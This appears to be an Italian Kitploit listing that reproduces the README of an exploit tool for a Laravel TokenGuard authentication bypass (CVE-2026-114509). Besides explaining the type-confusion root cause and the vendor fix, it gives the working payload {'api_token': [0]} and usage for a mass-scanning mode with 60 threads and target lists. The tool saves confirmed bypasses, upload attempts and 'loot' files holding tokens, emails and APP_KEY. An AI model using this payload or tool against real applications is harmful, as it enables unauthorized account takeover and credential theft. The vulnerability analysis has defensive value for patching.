Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-114509 — Bypass dell'autenticazione di Laravel TokenGuard tramite credenziali API non stringa | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-114509
RicognizioneScanner di VulnerabilitàScanner di Vulnerabilità WebExploitSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitPenetration TestingAutenticazione
GitHubnxploited/cve-2026-114509

CVE-2026-114509

81 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Bypass dell'autenticazione di Laravel TokenGuard tramite credenziali API non stringa

Vedi Repository
Condividi

CVE-2026-114509

Bypass dell'autenticazione di Laravel TokenGuard tramite credenziali API non stringa

🔴 CVE-2026-114509 — Bypass dell'autenticazione di Laravel TokenGuard

Bypass dell'autenticazione non autenticato in Laravel Framework — Guard API TokenGuard


📋 Panoramica

CVE-2026-114509 è una vulnerabilità critica di bypass dell'autenticazione nel TokenGuard integrato di Laravel Framework.

Quando configurato con un guard API standard basato su token su MySQL o MariaDB, un attaccante non autenticato può inviare una credenziale non stringa appositamente costruita (un array JSON) che fa sì che la ricerca di autenticazione corrisponda a un utente esistente non previsto — concedendo pieno accesso senza conoscere alcun token API valido.

Ciò porta a una compromissione completa dell'account su qualsiasi route protetta dal guard interessato.


🛡️ Dettagli della vulnerabilità

CampoDettagli
ID CVECVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
Software interessatoLaravel Framework (laravel/framework)
Versioni interessate< 12.68.0 e >= 13.0.0, < 13.29.0
TipoBypass dell'autenticazione
CWECWE-287 — Autenticazione impropria
CWECWE-1287 — Validazione impropria del tipo di input specificato
Punteggio CVSS 4.09.2 / 10 — CRITICO
Vettore CVSSCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
AutenticazioneNessuna richiesta (Pre-Auth)
CondizioneBackend MySQL / MariaDB
Patchv12.68.0 / v13.29.0

⚙️ Analisi dettagliata CVSS 4.0

MetricaValoreSignificato
Vettore di attaccoNetworkSfruttabile da remoto via internet
Complessità di attaccoBassaNessuna condizione speciale oltre a MySQL/MariaDB
Requisiti di attaccoPresentiRichiede il comportamento di coercizione dei tipi di MySQL/MariaDB
Privilegi richiestiNessunoNessuna autenticazione necessaria
Interazione utenteNessunaNessuna azione della vittima richiesta
RiservatezzaAltaPieno accesso in lettura ai dati dell'utente autenticato
IntegritàAltaPuò modificare i dati come l'utente di cui è stato effettuato il bypass
DisponibilitàAltaPuò interrompere il servizio tramite la compromissione dell'account

🔬 Analisi tecnica

Causa principale

Si tratta di un bug di confusione di tipi al confine tra il parsing delle richieste HTTP, la logica del framework PHP e il comportamento del database SQL. Tre comportamenti ordinari si allineano per creare la vulnerabilità:

  1. TokenGuard accetta input non stringa — Il metodo user() in TokenGuard.php usa !empty($token) invece di is_string($token) && !empty($token). I corpi delle richieste JSON possono fornire array o interi come valore del token.

  2. EloquentUserProvider costruisce una query WHERE IN — Quando retrieveByCredentials() riceve un valore array, genera WHERE api_token IN (...) invece di WHERE api_token = ....

  3. Coercizione dei tipi di MySQL — MySQL converte le colonne stringa in numeri per il confronto. L'intero 0 corrisponde a qualsiasi stringa che non inizia con una cifra (che è la maggior parte dei token API), perché MySQL converte quelle stringhe in 0.0.

Catena di sfruttamento

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

Flusso di attacco

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

La correzione

Laravel ha corretto TokenGuard.php aggiungendo un controllo di tipo — se il token non è una stringa, il guard restituisce immediatamente null e non chiama mai il provider utente:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 Utilizzo

Requisiti

  • Python 3.7+
  • requests
  • rich (per l'output colorato nel terminale)

Installazione

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

Modalità

Lo strumento supporta due modalità: scansione massiva e sonda approfondita su singolo target.


🔍 Modalità 1: Scansione massiva

Scansiona un elenco di target alla ricerca della vulnerabilità:

python CVE-2026-114509.py scan targets.txt

Opzioni:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
FlagPredefinitoDescrizione
targets(obbligatorio)File con gli URL di destinazione (uno per riga)
--threads60Numero di thread concorrenti
--timeout12Timeout della richiesta in secondi

Formato del file dei target (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

I target senza schema predefinito usano https://.

File di output (creati nella directory dello script):

FileContenuto
LV_DETECTED.txtTutte le applicazioni Laravel rilevate
LV_BYPASS.txtBypass di autenticazione confermati
LV_UPLOAD.txtRisultati dei tentativi di upload
LV_LOOT.txtDati estratti (token, email, APP_KEY, dati utente)

🎯 Modalità 2: Target singolo

Sonda in profondità un singolo target con output dettagliato:

python CVE-2026-114509.py single https://target.com

Opzioni:

python CVE-2026-114509.py single https://target.com --timeout 15

Questo esegue tutte e quattro le fasi in sequenza con output dettagliato:

Scarica lo strumento